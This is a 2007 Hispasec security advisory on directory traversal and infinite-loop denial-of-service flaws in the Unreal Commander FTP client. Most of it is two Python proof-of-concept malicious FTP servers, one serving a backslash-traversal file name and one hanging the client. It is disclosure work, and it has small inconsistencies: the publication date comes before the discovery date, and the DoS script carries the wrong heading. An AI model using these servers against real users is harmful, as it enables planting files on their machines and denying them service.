HISPASEC
Security Advisory
http://blog.hispasec.com/lab/
Name : 2K7SEPT6 X-Diesel Unreal Commander v0.92 (build 573)
multiple FTP-based vulnerabilities
Class : Remote directory traversal, Remote DoS
Threat level : HIGH
Discovered : 2007-09-06
Published : 2007-08-24
Credit : Gynvael Coldwind
Vulnerable : 0.92 (build 573), 0.92 (build 565), prior also may be affected
== Abstract ==
Unreal Commander is an award winning freeware file manager for Windows
98/ME/2000/XP/2003/Vista. The application support multiple archive
formats, has a built-in ftp client, and other features.
Unreal Commander fails to correctly handle malformed file name while downloading
a remote file from a malformed FTP server to a local hard driver. This allows an
attacker to perform a directory traversal attack. Successful exploitation may
lead to a full scale system compromise.
Unreal Commander also fails to correctly handle FTP reponses. This can lead to
the application entering an infinite loop, denying service to the legitimate
user.
== Details ==
See Proof of Concept exploit at the bottom of this advisory.
See Proof of Concept exploit at the bottom of this advisory.
== Vendor status and solution ==
The vendor has been informed, but has not yet released a proper patch.
The solution is to check the file names of each file being downloaded from a
remote unknown FTP.
== Proof of Concept - Remote FTP Directory Traversal ==
import socket
TransferSock = 0
def sendDirList (sock):
(DataSock, Address) = TransferSock.accept()
print "sendDirList: TransferSock accepted a connection"
sock.send("150 Opening ASCII mode data connection for file list\r\n");
DataSock.send("-rwxr-xr-x 2 ftp ftp 4096 Aug 1
02:28 st\\…\\…\\…\\…\\…\\…\\BackSlashPoC\n");
DataSock.close()
sock.send("226 Transfer complete.\r\n");
print "sendDirList: Transfer complete\r\n"
def sendFile (sock):
(DataSock, Address) = TransferSock.accept()
print "sendDirList: TransferSock accepted a connection"
sock.send("150 Opening BINARY mode data connection for sth (5 bytes)\r\n");
DataSock.send("Proof of Concept - Remote FTP Client directory
traversal vulnerability (G.C. - Hispasec)");
DataSock.close()
sock.send("226 Transfer complete.\r\n");
print "sendDirList: Transfer complete\r\n"
def handleUSER (sock, cmd, argz): sock.send("331 Password required for
user\r\n")
def handlePASS (sock, cmd, argz): sock.send("230 User logged in.\r\n")
def handleSYST (sock, cmd, argz): sock.send("215 UNIX Type: L8\r\n")
def handleFEAT (sock, cmd, argz): sock.send("211-Features:\r\n
MDTM\r\n REST STREAM\r\n211 End\r\n");
def handleTYPE (sock, cmd, argz): sock.send("200 Type set to " + argz + "\r\n");
def handlePASV (sock, cmd, argz): sock.send("227 Entering Passive Mode
(127,0,0,1,10,10)\r\n");
def handlePWD (sock, cmd, argz): sock.send("257 \"/\" is current
directory.\r\n")
def handleCWD (sock, cmd, argz): sock.send("250 Requested file action
okay, completed.\r\n")
def handleLIST (sock, cmd, argz): sendDirList(sock)
def handleQUIT (sock, cmd, argz):
sock.send("Bye.\r\n")
sock.close()
def handleRETR (sock, cmd, argz):
if argz == "/":
sendDirList(sock)
else:
sendFile(sock)
def unknown (sock, cmd, argz): sock.send("550 " + cmd + ": Operation
not permitted\r\n")
handlers = {
'USER': handleUSER,
'PASS': handlePASS,
'SYST': handleSYST,
'FEAT': handleFEAT,
'TYPE': handleTYPE,
'PASV': handlePASV,
'PWD': handlePWD,
'CWD': handleCWD,
'LIST': handleLIST,
'QUIT': handleQUIT,
'RETR': handleRETR
}
ControlSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ControlSock.bind(("127.0.0.1", 2021))
ControlSock.listen(1)
TransferSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
TransferSock.bind(("127.0.0.1", 10 * 256 + 10))
TransferSock.listen(10)
(ClientSock, Address) = ControlSock.accept()
ClientSock.send("220 PoCFTPD 1.2.3.4 Server ready.\r\n");
end = 0
while not end:
cmd = ClientSock.recv(1024)
print "Debug: recv -> " + cmd.strip()
command = (cmd[0:4]).strip()
argz = ((cmd.strip())[5:]).strip()
handlers.get(command, unknown)(ClientSock, command, argz)
== Proof of Concept - Remote FTP Directory Traversal ==
import socket
TransferSock = 0
def handleUSER (sock, cmd, argz): sock.send("331 Password required for
user\r\n")
def handlePASS (sock, cmd, argz): sock.send("230 User logged in.\r\n")
def handleSYST (sock, cmd, argz): sock.send("215 UNIX Type: L8\r\n")
def handleFEAT (sock, cmd, argz): sock.send("211-Features:\r\n
MDTM\r\n REST STREAM\r\n211 End\r\n");
def handleTYPE (sock, cmd, argz): sock.send("200 Type set to " + argz + "\r\n");
def handlePASV (sock, cmd, argz): sock.send("227 Entering Passive Mode
(127,0,0,1,10,10)\r\n");
def handleQUIT (sock, cmd, argz):
sock.send("Bye.\r\n")
sock.close()
def unknown (sock, cmd, argz):
sock.send("550 " + cmd + ": Operation not permitted\r\n")
print "The Unreal Commander is not in an infinite loop. You may quit
this exploit, the infinite loop will last."
handlers = {
'USER': handleUSER,
'PASS': handlePASS,
'SYST': handleSYST,
'FEAT': handleFEAT,
'TYPE': handleTYPE,
'PASV': handlePASV,
'QUIT': handleQUIT
}
ControlSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ControlSock.bind(("127.0.0.1", 2021))
ControlSock.listen(1)
TransferSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
TransferSock.bind(("127.0.0.1", 10 * 256 + 10))
TransferSock.listen(10)
(ClientSock, Address) = ControlSock.accept()
ClientSock.send("220 PoCFTPD 1.2.3.4 Server ready.\r\n");
end = 0
while not end:
cmd = ClientSock.recv(1024)
print "Debug: recv -> " + cmd.strip()
command = (cmd[0:4]).strip()
argz = ((cmd.strip())[5:]).strip()
handlers.get(command, unknown)(ClientSock, command, argz)
== Disclaimer ==
This document and all the information it contains is provided "as is",
without any warranty. Hispasec Sistemas is not responsible for the
misuse of the information provided in this advisory. The advisory is
provided for educational purposes only.
Permission is hereby granted to redistribute this advisory, providing
that no changes are made and that the copyright notices and
disclaimers remain intact.
Copyright (C) 2007 Hispasec Sistemas.
–
Gynvael Coldwind
mailto: michael AT hispasec DOT com
mailto: gynvael AT vexillium DOT org